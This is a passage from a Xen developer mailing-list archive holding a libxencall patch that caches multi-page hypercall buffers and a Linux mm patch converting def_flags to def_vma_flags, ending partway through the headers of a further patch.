During migration there are a lot of mmap/munmap calls,
because xc_get_pfn_type_batch() exceeds the default hypercall bounce
buffer cache size, and needs to allocate every time it is called.

munmap() is slow, especially in a PV Dom0 (takes an emulation fault),
so is best avoided.

Eventually it'd be good if the memory pool from  xmalloc_tlsf.c
was reused here, but for now make it handle the commonly encountered
sizes (so far up to 4 pages).

Signed-off-by: Edwin TÃ¶rÃ¶k <edwin.torok@citrix.com>
Signed-off-by: Frediano Ziglio <frediano.ziglio@citrix.com>
---
Changes since v2:
- change prefix in subject.

Changes since v4:
- fix off-by-one bug.

Changes since v5:
- avoids potential buffer underflow if nr_pages is 0 calling cache_alloc.

Changes since v6:
- align changes made to cache_alloc to cache_free.

Changes since v7:
- use "unsigned int" instead of "unsigned".
---
 tools/libs/call/buffer.c  | 34 +++++++++++++++++++++++-----------
 tools/libs/call/core.c    |  3 ++-
 tools/libs/call/private.h |  8 +++++---
 3 files changed, 30 insertions(+), 15 deletions(-)

diff --git a/tools/libs/call/buffer.c b/tools/libs/call/buffer.c
index 155e4f9d43..b7d00185c4 100644
--- a/tools/libs/call/buffer.c
+++ b/tools/libs/call/buffer.c
@@ -49,6 +49,9 @@ static void *cache_alloc(xencall_handle *xcall, size_t nr_pages)
 {
     void *p = NULL;
 
+    if ( nr_pages == 0 )
+        return NULL;
+
     cache_lock(xcall);
 
     xcall->buffer_total_allocations++;
@@ -56,13 +59,13 @@ static void *cache_alloc(xencall_handle *xcall, size_t nr_pages)
     if ( xcall->buffer_current_allocations > xcall->buffer_maximum_allocations )
         xcall->buffer_maximum_allocations = xcall->buffer_current_allocations;
 
-    if ( nr_pages > 1 )
+    if ( nr_pages > ARRAY_SIZE(xcall->buffer_cache) )
     {
         xcall->buffer_cache_toobig++;
     }
-    else if ( xcall->buffer_cache_nr > 0 )
+    else if ( xcall->buffer_cache_nr[nr_pages-1] > 0 )
     {
-        p = xcall->buffer_cache[--xcall->buffer_cache_nr];
+        p = xcall->buffer_cache[nr_pages-1][--xcall->buffer_cache_nr[nr_pages-1]];
         xcall->buffer_cache_hits++;
     }
     else
@@ -79,15 +82,18 @@ static int cache_free(xencall_handle *xcall, void *p, size_t nr_pages)
 {
     int rc = 0;
 
+    if ( nr_pages == 0 )
+        return 0;
+
     cache_lock(xcall);
 
     xcall->buffer_total_releases++;
     xcall->buffer_current_allocations--;
 
-    if ( nr_pages == 1 &&
-         xcall->buffer_cache_nr < BUFFER_CACHE_SIZE )
+    if ( nr_pages && nr_pages <= ARRAY_SIZE(xcall->buffer_cache) &&
+         xcall->buffer_cache_nr[nr_pages-1] < BUFFER_CACHE_SIZE )
     {
-        xcall->buffer_cache[xcall->buffer_cache_nr++] = p;
+        xcall->buffer_cache[nr_pages-1][xcall->buffer_cache_nr[nr_pages-1]++] = p;
         rc = 1;
     }
 
@@ -108,17 +114,23 @@ void buffer_release_cache(xencall_handle *xcall)
     DBGPRINTF("current allocations:%d maximum allocations:%d",
               xcall->buffer_current_allocations,
               xcall->buffer_maximum_allocations);
-    DBGPRINTF("cache current size:%d",
-              xcall->buffer_cache_nr);
+    for ( unsigned int i = 0; i < ARRAY_SIZE(xcall->buffer_cache_nr); ++i )
+    {
+        DBGPRINTF("cache current size[%u pages]:%d", i+1,
+                xcall->buffer_cache_nr[i]);
+    }
     DBGPRINTF("cache hits:%d misses:%d toobig:%d",
               xcall->buffer_cache_hits,
               xcall->buffer_cache_misses,
               xcall->buffer_cache_toobig);
 
-    while ( xcall->buffer_cache_nr > 0 )
+    for ( unsigned int i = 0; i < ARRAY_SIZE(xcall->buffer_cache_nr); ++i )
     {
-        p = xcall->buffer_cache[--xcall->buffer_cache_nr];
-        osdep_free_pages(xcall, p, 1);
+        while ( xcall->buffer_cache_nr[i] > 0 )
+        {
+            p = xcall->buffer_cache[i][--xcall->buffer_cache_nr[i]];
+            osdep_free_pages(xcall, p, i + 1);
+        }
     }
 
     cache_unlock(xcall);
diff --git a/tools/libs/call/core.c b/tools/libs/call/core.c
index 02c4f8e1ae..dd8877c1a0 100644
--- a/tools/libs/call/core.c
+++ b/tools/libs/call/core.c
@@ -14,6 +14,7 @@
  */
 
 #include <stdlib.h>
+#include <string.h>
 
 #include "private.h"
 
@@ -44,7 +45,7 @@ xencall_handle *xencall_open(xentoollog_logger *logger, unsigned open_flags)
     xentoolcore__register_active_handle(&xcall->tc_ah);
 
     xcall->flags = open_flags;
-    xcall->buffer_cache_nr = 0;
+    memset(xcall->buffer_cache_nr, 0, sizeof(xcall->buffer_cache_nr));
 
     xcall->buffer_total_allocations = 0;
     xcall->buffer_total_releases = 0;
diff --git a/tools/libs/call/private.h b/tools/libs/call/private.h
index 9c3aa432ef..8e6a208975 100644
--- a/tools/libs/call/private.h
+++ b/tools/libs/call/private.h
@@ -31,13 +31,15 @@ struct xencall_handle {
     Xentoolcore__Active_Handle tc_ah;
 
     /*
-     * A simple cache of unused, single page, hypercall buffers
+     * A simple cache of unused, small, hypercall buffers
+     * buffer_cache[i]'s size is (i+1) pages
      *
      * Protected by a global lock.
      */
 #define BUFFER_CACHE_SIZE 4
-    int buffer_cache_nr;
-    void *buffer_cache[BUFFER_CACHE_SIZE];
+#define BUFFER_CACHE_NRPAGES 4
+    int buffer_cache_nr[BUFFER_CACHE_NRPAGES];
+    void *buffer_cache[BUFFER_CACHE_NRPAGES][BUFFER_CACHE_SIZE];
 
     /*
      * Hypercall buffer statistics. All protected by the global
-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Sun Jul 12 05:29:03 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sun, 12 Jul 2026 05:29:03 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1360572.1613454 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wimkI-00082U-1I; Sun, 12 Jul 2026 05:28:54 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1360572.1613454; Sun, 12 Jul 2026 05:28:53 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wimkH-00080k-Pk; Sun, 12 Jul 2026 05:28:53 +0000
Received: by outflank-mailman (input) for mailman id 1360572;
 Sat, 11 Jul 2026 18:47:30 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <ljs@kernel.org>) id 1wicjZ-0005Jk-UD
 for xen-devel@lists.xenproject.org; Sat, 11 Jul 2026 18:47:30 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wicjZ-002Xzh-BB
 for xen-devel@lists.xenproject.org; Sat, 11 Jul 2026 20:47:29 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <ljs@kernel.org>)
 id 6a528f92-5cb7-0a2a0a5109dd-0a2a4504d954-18
 for <xen-devel@lists.xenproject.org>; Sat, 11 Jul 2026 20:47:29 +0200
Received: from [172.105.4.254] (helo=tor.source.kernel.org)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <ljs@kernel.org>)
 id 6a528fc0-b1e5-0a2a45040019-ac6904fe9aaa-3
 for <xen-devel@lists.xenproject.org>; Sat, 11 Jul 2026 20:47:29 +0200
Received: from smtp.kernel.org (quasi.space.kernel.org [100.103.45.18])
 by tor.source.kernel.org (Postfix) with ESMTP id 7F8206111A;
 Sat, 11 Jul 2026 18:47:27 +0000 (UTC)
Received: by smtp.kernel.org (Postfix) with ESMTPSA id C9E271F00A3A;
 Sat, 11 Jul 2026 18:47:06 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=k20260515 header.d=kernel.org header.i="@kernel.org" header.h="From:Date:Subject:References:In-Reply-To:To:Cc"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=kernel.org;
	s=k20260515; t=1783795647;
	bh=4YSWAKth/DAZEc/MzMRhpX5OSIdEQ/yxeUWHtpyMER8=;
	h=From:Date:Subject:References:In-Reply-To:To:Cc;
	b=Oj2bbZq2ueyXMY7p77+CFk7KQGuguV+50w4ZIUQ3vDaeafeKSyr0+ZYcJDubPtLNZ
	 sJRwgYlEz100fbFYljWUFkR/aPeb1rLheG84FTwtN8ZRUfctoXXsBHdSy8qI71UJOJ
	 dg/wbxCPU7ZbHdmLXYfyUofuSsmh6hs/WTMBZ7ZZw8n0FLFgvBmCyQthypfFVSbSNO
	 yHJjuwm/P2LYqsxijaLaLepajZ099PPnEwDe01Ij8FEmBIB/uvMIEuvsz6Cp7HYgSB
	 88rYybISb+jVWxJ0M5ETwHbF/oOafId49qQKlqekjyCWQccGO/6+cbQyFvdid/L/wa
	 7g5Vp/gB+SANw==
From: Lorenzo Stoakes <ljs@kernel.org>
Date: Sat, 11 Jul 2026 19:45:02 +0100
Subject: [PATCH v2 05/13] mm: prefer mm->def_vma_flags in mm logic
MIME-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
Message-Id: <20260711-b4-vma-flags-mm-v2-5-0fa2357d5431@kernel.org>
References: <20260711-b4-vma-flags-mm-v2-0-0fa2357d5431@kernel.org>
In-Reply-To: <20260711-b4-vma-flags-mm-v2-0-0fa2357d5431@kernel.org>
To: Andrew Morton <akpm@linux-foundation.org>, 
 David Hildenbrand <david@kernel.org>, 
 "Liam R. Howlett" <liam@infradead.org>, Vlastimil Babka <vbabka@kernel.org>, 
 Mike Rapoport <rppt@kernel.org>, Suren Baghdasaryan <surenb@google.com>, 
 Michal Hocko <mhocko@suse.com>, 
 Thomas Bogendoerfer <tsbogend@alpha.franken.de>, 
 Benjamin LaHaise <bcrl@kvack.org>, Alexander Viro <viro@zeniv.linux.org.uk>, 
 Christian Brauner <brauner@kernel.org>, Jan Kara <jack@suse.cz>, 
 Hugh Dickins <hughd@google.com>, 
 Baolin Wang <baolin.wang@linux.alibaba.com>, Jann Horn <jannh@google.com>, 
 Pedro Falcato <pfalcato@suse.de>, Muchun Song <muchun.song@linux.dev>, 
 Oscar Salvador <osalvador@suse.de>, Zi Yan <ziy@nvidia.com>, 
 Nico Pache <npache@redhat.com>, Ryan Roberts <ryan.roberts@arm.com>, 
 Dev Jain <dev.jain@arm.com>, Barry Song <baohua@kernel.org>, 
 Lance Yang <lance.yang@linux.dev>, Usama Arif <usama.arif@linux.dev>, 
 Madhavan Srinivasan <maddy@linux.ibm.com>, 
 Michael Ellerman <mpe@ellerman.id.au>, Nicholas Piggin <npiggin@gmail.com>, 
 "Christophe Leroy (CS GROUP)" <chleroy@kernel.org>, 
 Maarten Lankhorst <maarten.lankhorst@linux.intel.com>, 
 Maxime Ripard <mripard@kernel.org>, Thomas Zimmermann <tzimmermann@suse.de>, 
 David Airlie <airlied@gmail.com>, Simona Vetter <simona@ffwll.ch>, 
 Lucas Stach <l.stach@pengutronix.de>, 
 Russell King <linux+etnaviv@armlinux.org.uk>, 
 Christian Gmeiner <christian.gmeiner@gmail.com>, 
 Inki Dae <inki.dae@samsung.com>, Seung-Woo Kim <sw0312.kim@samsung.com>, 
 Kyungmin Park <kyungmin.park@samsung.com>, 
 Krzysztof Kozlowski <krzk@kernel.org>, 
 Peter Griffin <peter.griffin@linaro.org>, 
 Alim Akhtar <alim.akhtar@samsung.com>, 
 Jani Nikula <jani.nikula@linux.intel.com>, 
 Joonas Lahtinen <joonas.lahtinen@linux.intel.com>, 
 Rodrigo Vivi <rodrigo.vivi@intel.com>, 
 Tvrtko Ursulin <tursulin@ursulin.net>, 
 Rob Clark <robin.clark@oss.qualcomm.com>, 
 Dmitry Baryshkov <lumag@kernel.org>, 
 Abhinav Kumar <abhinav.kumar@linux.dev>, 
 Jessica Zhang <jesszhan0024@gmail.com>, Sean Paul <sean@poorly.run>, 
 Marijn Suijten <marijn.suijten@somainline.org>, 
 Lyude Paul <lyude@redhat.com>, Danilo Krummrich <dakr@kernel.org>, 
 Tomi Valkeinen <tomi.valkeinen@ideasonboard.com>, 
 Sandy Huang <hjc@rock-chips.com>, 
 =?utf-8?q?Heiko_St=C3=BCbner?= <heiko@sntech.de>, 
 Andy Yan <andy.yan@rock-chips.com>, 
 Thierry Reding <thierry.reding@kernel.org>, 
 Mikko Perttunen <mperttunen@nvidia.com>, 
 Jonathan Hunter <jonathanh@nvidia.com>, Gerd Hoffmann <kraxel@redhat.com>, 
 Dmitry Osipenko <dmitry.osipenko@collabora.com>, 
 Gurchetan Singh <gurchetansingh@chromium.org>, 
 Chia-I Wu <olvaffe@gmail.com>, Zack Rusin <zack.rusin@broadcom.com>, 
 Broadcom internal kernel review list <bcm-kernel-feedback-list@broadcom.com>, 
 Matthew Brost <matthew.brost@intel.com>, 
 =?utf-8?q?Thomas_Hellstr=C3=B6m?= <thomas.hellstrom@linux.intel.com>, 
 Oleksandr Andrushchenko <oleksandr_andrushchenko@epam.com>, 
 Helge Deller <deller@gmx.de>, Kees Cook <kees@kernel.org>, 
 Jaroslav Kysela <perex@perex.cz>, Takashi Iwai <tiwai@suse.com>, 
 Boris Brezillon <boris.brezillon@collabora.com>, 
 Steven Price <steven.price@arm.com>, Liviu Dudau <liviu.dudau@arm.com>
Cc: Lorenzo Stoakes <ljs@kernel.org>, linux-mm@kvack.org, 
 linux-kernel@vger.kernel.org, linux-mips@vger.kernel.org, 
 linux-aio@kvack.org, linux-fsdevel@vger.kernel.org, 
 linuxppc-dev@lists.ozlabs.org, dri-devel@lists.freedesktop.org, 
 etnaviv@lists.freedesktop.org, linux-arm-kernel@lists.infradead.org, 
 linux-samsung-soc@vger.kernel.org, intel-gfx@lists.freedesktop.org, 
 linux-arm-msm@vger.kernel.org, freedreno@lists.freedesktop.org, 
 nouveau@lists.freedesktop.org, linux-rockchip@lists.infradead.org, 
 linux-tegra@vger.kernel.org, virtualization@lists.linux.dev, 
 intel-xe@lists.freedesktop.org, xen-devel@lists.xenproject.org, 
 linux-fbdev@vger.kernel.org, linux-sound@vger.kernel.org
X-Mailer: b4 0.15.2
X-Developer-Signature: v=1; a=openpgp-sha256; l=4997; i=ljs@kernel.org;
 h=from:subject:message-id; bh=znvD/86roRelXlsxkkyvLX6yQAgqFWtP++AzhbmZe7g=;
 b=owGbwMvMwCV2fu7ZrsZH9SKMp9WSGLKC+i31WndfM+frXN4sPvuH9w6+orV5IQ9e9ZyfL3g4f
 rWG7aetHaUsDGJcDLJiiizPv4jvDxIJm9d5wd8NZg4rE8gQBi5OAZiItyUjw6sjzxQ4DtU+eKxS
 vvH1lgeXZAX7sk8X3267Whxu8rz8fB3D/8oZYmmbF/D99t5rvYvDWH/z7caXj3f8bt538lfH7D1
 yenwA
X-Developer-Key: i=ljs@kernel.org; a=openpgp;
 fpr=E7F417BF5214569E89D04F46CF9DCD8A81E27F14
X-purgate-ID: tlsNG-ebf023/1783795649-74A45FE7-3C2CFBEF/0/0
X-purgate-type: clean
X-purgate-size: 4999

Currently mm->def_flags (of type vm_flags_t) is union'd with
mm->def_vma_flags (of type vma_flags_t).

As part of the effort to convert vm_flags_t usage to vma_flags_t (in order
to no longer be arbitrarily limited to a system word size for VMA flags),
prefer mm->def_vma_flags to mm->def_flags throughout the mm logic.

We update dump_mm() to use the %*pb format which means we make no
assumption about the number of VMA flag bits on output when outputting
default VMA flags.

No functional change intended.

Reviewed-by: Lance Yang <lance.yang@linux.dev>
Reviewed-by: Zi Yan <ziy@nvidia.com>
Signed-off-by: Lorenzo Stoakes <ljs@kernel.org>
---
 mm/debug.c |  5 +++--
 mm/mlock.c | 13 +++++++------
 mm/mmap.c  | 11 ++++++-----
 mm/vma.c   |  2 +-
 4 files changed, 17 insertions(+), 14 deletions(-)

diff --git a/mm/debug.c b/mm/debug.c
index 497654b36f1a..9a0297b3988d 100644
--- a/mm/debug.c
+++ b/mm/debug.c
@@ -197,7 +197,7 @@ void dump_mm(const struct mm_struct *mm)
 		"numa_next_scan %lu numa_scan_offset %lu numa_scan_seq %d\n"
 #endif
 		"tlb_flush_pending %d\n"
-		"def_flags: %#lx(%pGv)\n",
+		"def_flags: %*pb(%pGv)\n",
 
 		mm, mm->task_size,
 		mm->mmap_base, mm->mmap_legacy_base,
@@ -226,7 +226,8 @@ void dump_mm(const struct mm_struct *mm)
 		mm->numa_next_scan, mm->numa_scan_offset, mm->numa_scan_seq,
 #endif
 		atomic_read(&mm->tlb_flush_pending),
-		mm->def_flags, &mm->def_flags
+		NUM_VMA_FLAG_BITS, mm->def_vma_flags.__vma_flags,
+		&mm->def_vma_flags
 	);
 }
 EXPORT_SYMBOL(dump_mm);
diff --git a/mm/mlock.c b/mm/mlock.c
index 97e49038d8d3..34ffa954006f 100644
--- a/mm/mlock.c
+++ b/mm/mlock.c
@@ -699,26 +699,27 @@ SYSCALL_DEFINE2(munlock, unsigned long, start, size_t, len)
 
 /*
  * Take the MCL_* flags passed into mlockall (or 0 if called from munlockall)
- * and translate into the appropriate modifications to mm->def_flags and/or the
- * flags for all current VMAs.
+ * and translate into the appropriate modifications to mm->def_vma_flags and/or
+ * the flags for all current VMAs.
  *
  * There are a couple of subtleties with this.  If mlockall() is called multiple
  * times with different flags, the values do not necessarily stack.  If mlockall
  * is called once including the MCL_FUTURE flag and then a second time without
- * it, VM_LOCKED and VM_LOCKONFAULT will be cleared from mm->def_flags.
+ * it, VM_LOCKED and VM_LOCKONFAULT will be cleared from mm->def_vma_flags.
  */
 static int apply_mlockall_flags(int flags)
 {
 	VMA_ITERATOR(vmi, current->mm, 0);
+	struct mm_struct *mm = current->mm;
 	struct vm_area_struct *vma, *prev = NULL;
 	vm_flags_t to_add = 0;
 
-	current->mm->def_flags &= ~VM_LOCKED_MASK;
+	vma_flags_clear_mask(&mm->def_vma_flags, VMA_LOCKED_MASK);
 	if (flags & MCL_FUTURE) {
-		current->mm->def_flags |= VM_LOCKED;
+		vma_flags_set(&mm->def_vma_flags, VMA_LOCKED_BIT);
 
 		if (flags & MCL_ONFAULT)
-			current->mm->def_flags |= VM_LOCKONFAULT;
+			vma_flags_set(&mm->def_vma_flags, VMA_LOCKONFAULT_BIT);
 
 		if (!(flags & MCL_CURRENT))
 			goto out;
diff --git a/mm/mmap.c b/mm/mmap.c
index 39d33f3a55c2..ae9a5018e20e 100644
--- a/mm/mmap.c
+++ b/mm/mmap.c
@@ -102,15 +102,16 @@ void vma_set_page_prot(struct vm_area_struct *vma)
  */
 static int check_brk_limits(unsigned long addr, unsigned long len)
 {
+	const struct mm_struct *mm = current->mm;
+	const bool is_def_locked =
+		vma_flags_test(&mm->def_vma_flags, VMA_LOCKED_BIT);
 	unsigned long mapped_addr;
 
 	mapped_addr = get_unmapped_area(NULL, addr, len, 0, MAP_FIXED);
 	if (IS_ERR_VALUE(mapped_addr))
 		return mapped_addr;
 
-	return mlock_future_ok(current->mm,
-			      current->mm->def_flags & VM_LOCKED, len)
-		? 0 : -EAGAIN;
+	return mlock_future_ok(mm, is_def_locked, len) ? 0 : -EAGAIN;
 }
 
 SYSCALL_DEFINE1(brk, unsigned long, brk)
@@ -197,7 +198,7 @@ SYSCALL_DEFINE1(brk, unsigned long, brk)
 		goto out;
 
 	mm->brk = brk;
-	if (mm->def_flags & VM_LOCKED)
+	if (vma_flags_test(&mm->def_vma_flags, VMA_LOCKED_BIT))
 		populate = true;
 
 success:
@@ -1247,7 +1248,7 @@ int vm_brk_flags(unsigned long addr, unsigned long request, bool is_exec)
 
 	vma = vma_prev(&vmi);
 	ret = do_brk_flags(&vmi, vma, addr, len, vma_flags);
-	populate = ((mm->def_flags & VM_LOCKED) != 0);
+	populate = vma_flags_test(&mm->def_vma_flags, VMA_LOCKED_BIT);
 	mmap_write_unlock(mm);
 	userfaultfd_unmap_complete(mm, &uf);
 	if (populate && !ret)
diff --git a/mm/vma.c b/mm/vma.c
index 70b08c76ea2f..1f443d979a7d 100644
--- a/mm/vma.c
+++ b/mm/vma.c
@@ -3426,7 +3426,7 @@ struct vm_area_struct *__install_special_mapping(
 	if (unlikely(vma == NULL))
 		return ERR_PTR(-ENOMEM);
 
-	vm_flags |= mm->def_flags | VM_DONTEXPAND;
+	vm_flags |= vma_flags_to_legacy(mm->def_vma_flags) | VM_DONTEXPAND;
 	if (pgtable_supports_soft_dirty())
 		vm_flags |= VM_SOFTDIRTY;
 	vm_flags_init(vma, vm_flags & ~VM_LOCKED_MASK);

-- 
2.55.0



From xen-devel-bounces@lists.xenproject.org Sun Jul 12 05:29:02 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sun, 12 Jul 2026 05:29:02 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1360576.1613470 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wimkI-0008MZ-VN; Sun, 12 Jul 2026 05:28:54 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1360576.1613470; Sun, 12 Jul 2026 05:28:54 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wimkI-0008L3-Il; Sun, 12 Jul 2026 05:28:54 +0000
Received: by outflank-mailman (input) for mailman id 1360576;
 Sat, 11 Jul 2026 18:48:11 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <ljs@kernel.org>) id 1wickF-0005YO-Jx
 for xen-devel@lists.xenproject.org; Sat, 11 Jul 2026 18:48:11 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wickF-00ANVP-0l
 for xen-devel@lists.xenproject.org; Sat, 11 Jul 2026 20:48:11 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <ljs@kernel.org>)
 id 6a528fa4-bab6-0a2a0a5309dd-0a2a4503ebce-26
 for <xen-devel@lists.xenproject.org>; Sat, 11 Jul 2026 20:48:11 +0200
Received: from [172.105.4.254] (helo=tor.source.kernel.org)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <ljs@kernel.org>)
 id 6a528fe9-f2d2-0a2a45030019-ac6904fece62-3
 for <xen-devel@lists.xenproject.org>; Sat, 11 Jul 2026 20:48:10 +0200
Received: from smtp.kernel.org (quasi.space.kernel.org [100.103.45.18])
 by tor.source.kernel.org (Postfix) with ESMTP id 49C58601D9;
 Sat, 11 Jul 2026 18:48:09 +0000 (UTC)
Received: by smtp.kernel.org (Postfix) with ESMTPSA id 94E9F1F00A3A;
 Sat, 11 Jul 2026 18:47:48 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=k20260515 header.d=kernel.org header.i="@kernel.org" header.h="From:Date:Subject:References:In-Reply-To:To:Cc"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=kernel.org;
	s=k20260515; t=1783795689;
	bh=QPt/8l9E60JoRhMjGZtDOkVB0VSnW+l2hm5OFyFrrO0=;
	h=From:Date:Subject:References:In-Reply-To:To:Cc;
	b=jgpXcvfv3gVBn7IsGBF1ebSBCDETWMhhmUgGYFu1KJSh6jDQWPcTX0Vq7whuKCVn4
	 rBhFdMRmgxmdR8P0PcWxbkTlO8COzjvSFflXXXwYeV1HcoXi8sN68u8NJ26w+IOyUw
	 R0sApERkImbfGC1PQUNQIDENSFzQep8HDEipIa0GQAQDHYmD1VBxVxmWBk3vGxNW/K
	 4N9W61bIOsobxULyDZZV6QFTrlSEId1V48hblg2M8NWfCHnUNfV+Pr7EKw+8P7wBkV
	 cuWci1FXthx0PZWUsCVBzadkDWBmiusvn/RlVjMBQh/ePtU/5mvkHHdKyTyd9zk3sK
	 /EpfagqzUOOIA==
From: Lorenzo Stoakes <ljs@kernel.org>
Date: Sat, 11 Jul 2026 19:45:04 +0100
Subject: [PATCH v2 07/13] mm/vma: rename vma_get_page_prot to
 vma_flags_to_page_prot
MIME-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
Message-Id: <20260711-b4-vma-flags-mm-v2-7-0fa2357d5431@kernel.org>
References: <20260711-b4-vma-flags-mm-v2-0-0fa2357d5431@kernel.org>
In-Reply-To: <20260711-b4-vma-flags-mm-v2-0-0fa2357d5431@kernel.org>
To: Andrew Morton <akpm@linux-foundation.org>, 
 David Hildenbrand <david@kernel.org>, 
 "Liam R. Howlett" <liam@infradead.org>, Vlastimil Babka <vbabka@kernel.org>, 
 Mike Rapoport <rppt@kernel.org>, Suren Baghdasaryan <surenb@google.com>, 
 Michal Hocko <mhocko@suse.com>, 
 Thomas Bogendoerfer <tsbogend@alpha.franken.de>, 
 Benjamin LaHaise <bcrl@kvack.org>, Alexander Viro <viro@zeniv.linux.org.uk>, 
 Christian Brauner <brauner@kernel.org>, Jan Kara <jack@suse.cz>, 
 Hugh Dickins <hughd@google.com>, 
 Baolin Wang <baolin.wang@linux.alibaba.com>, Jann Horn <jannh@google.com>, 
 Pedro Falcato <pfalcato@suse.de>, Muchun Song <muchun.song@linux.dev>, 
 Oscar Salvador <osalvador@suse.de>, Zi Yan <ziy@nvidia.com>, 
 Nico Pache <npache@redhat.com>, Ryan Roberts <ryan.roberts@arm.com>, 
 Dev Jain <dev.jain@arm.com>, Barry Song <baohua@kernel.org>, 
 Lance Yang <lance.yang@linux.dev>, Usama Arif <usama.arif@linux.dev>, 
 Madhavan Srinivasan <maddy@linux.ibm.com>, 
 Michael Ellerman <mpe@ellerman.id.au>, Nicholas Piggin <npiggin@gmail.com>, 
 "Christophe Leroy (CS GROUP)" <chleroy@kernel.org>, 
 Maarten Lankhorst <maarten.lankhorst@linux.intel.com>, 
 Maxime Ripard <mripard@kernel.org>, Thomas Zimmermann <tzimmermann@suse.de>, 
 David Airlie <airlied@gmail.com>, Simona Vetter <simona@ffwll.ch>, 
 Lucas Stach <l.stach@pengutronix.de>, 
 Russell King <linux+etnaviv@armlinux.org.uk>, 
 Christian Gmeiner <christian.gmeiner@gmail.com>, 
 Inki Dae <inki.dae@samsung.com>, Seung-Woo Kim <sw0312.kim@samsung.com>, 
 Kyungmin Park <kyungmin.park@samsung.com>, 
 Krzysztof Kozlowski <krzk@kernel.org>, 
 Peter Griffin <peter.griffin@linaro.org>, 
 Alim Akhtar <alim.akhtar@samsung.com>, 
 Jani Nikula <jani.nikula@linux.intel.com>, 
 Joonas Lahtinen <joonas.lahtinen@linux.intel.com>, 
 Rodrigo Vivi <rodrigo.vivi@intel.com>, 
 Tvrtko Ursulin <tursulin@ursulin.net>, 
 Rob Clark <robin.clark@oss.qualcomm.com>, 
 Dmitry Baryshkov <lumag@kernel.org>, 
 Abhinav Kumar <abhinav.kumar@linux.dev>, 
 Jessica Zhang <jesszhan0024@gmail.com>, Sean Paul <sean@poorly.run>, 
 Marijn Suijten <marijn.suijten@somainline.org>, 
 Lyude Paul <lyude@redhat.com>, Danilo Krummrich <dakr@kernel.org>, 
 Tomi Valkeinen <tomi.valkeinen@ideasonboard.com>, 
 Sandy Huang <hjc@rock-chips.com>, 
 =?utf-8?q?Heiko_St=C3=BCbner?= <heiko@sntech.de>, 
 Andy Yan <andy.yan@rock-chips.com>, 
 Thierry Reding <thierry.reding@kernel.org>, 
 Mikko Perttunen <mperttunen@nvidia.com>, 
 Jonathan Hunter <jonathanh@nvidia.com>, Gerd Hoffmann <kraxel@redhat.com>, 
 Dmitry Osipenko <dmitry.osipenko@collabora.com>, 
 Gurchetan Singh <gurchetansingh@chromium.org>, 
 Chia-I Wu <olvaffe@gmail.com>, Zack Rusin <zack.rusin@broadcom.com>, 
 Broadcom internal kernel review list <bcm-kernel-feedback-list@broadcom.com>, 
 Matthew Brost <matthew.brost@intel.com>, 
 =?utf-8?q?Thomas_Hellstr=C3=B6m?= <thomas.hellstrom@linux.intel.com>, 
 Oleksandr Andrushchenko <oleksandr_andrushchenko@epam.com>, 
 Helge Deller <deller@gmx.de>, Kees Cook <kees@kernel.org>, 
 Jaroslav Kysela <perex@perex.cz>, Takashi Iwai <tiwai@suse.com>, 
